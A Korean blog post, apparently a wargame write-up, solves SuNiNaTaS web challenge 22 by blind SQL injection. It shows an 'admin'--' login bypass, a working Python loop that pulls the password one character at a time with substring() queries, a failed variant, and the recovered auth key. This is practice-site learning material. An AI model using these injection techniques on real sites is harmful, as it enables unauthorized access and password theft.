본문 바로가기
해킹/suninatas (써니나타스)

써니나타스 웹 22번 풀이(작성중)

by yenua 2022. 6. 4.
반응형

http://suninatas.com/challenge/web22/web22.asp

블라인드 SQL Injection을 사용하는 문제인가 보다.

비밀번호를 알아내는 것 자체가 목적이다.

 

아이디 부분에 admin'-- 을 입력하면 정상적으로 로그인이 된다.

-- 대신 #을 입력하면 no hack이 뜬다.

추측컨대, 필터링 단어를 쓸 때 뿐만 아니라 에러가 날때도 no hack으로 처리하는 것 같아 보였다.

 

비밀번호 길이를 알아내기 위해서 버프 스위트 repeater 기능을 사용하였다. 

처음에는 부등호를 사용하여 범위를 좁혀나가다가 비밀번호 길이가 10임을 알아낼 수 있었다.

 

버프스위트로 첫 글자가 N인것 까지는 알아냄. 정신건강을 위해 파이썬으로 하려 하였으나 파이썬은 실력부족으로 원하는 결과가 나오지 않았음.

 

intruder로 각 인덱스의 문자를 찾으려고 하였으나, 시간이 너무 오래 걸림. 작업 걸어놓고 딴거 하고 왔더니 노트북이 재시작되어 버림.....

 

https://hackchang.tistory.com/91

위 블로그 참고해서 파라미터값이 아닌 url 값에 바로 집어 넣어서 요청을 보냈더니 해결됨

 

import requests
import time

URL="http://suninatas.com/challenge/web22/web22.asp"


start = time.time()
for i in range(10):
    for j in range(32, 127):
        url = URL+"?id=admin"+"'and substring(pw, {}, 1)='{}'--&pw=12".format(i+1, chr(j))
        res = requests.get(url)
        if "OK" in res.text:
            print("found!:{} : {}".format(i, chr(j)))
            print(res.text)
            break

end = time.time()
print(end - start)

AUTHKEY: N1c3Bilnl)

 

실패한 코드

아직도 이유를 모르겠다......

params = {'id':'',
          'pw':'abc'}
          
not OK
start = time.time()
for i in range(10):
    for j in range(33, 127):
        params['id'] = "admin%27and%20substring(pw,%20{},%201)=%27{}%27--".format(i+1, chr(j))
        print(params['id'])
        res = requests.get(URL, params=params)
        if "OK" in res.text:
            print("found!:{} : {}".format(i, chr(j)))
            print(res.text)
            break

end = time.time()
print(end - start)

#이건 왜 안될까..

 

 

 

반응형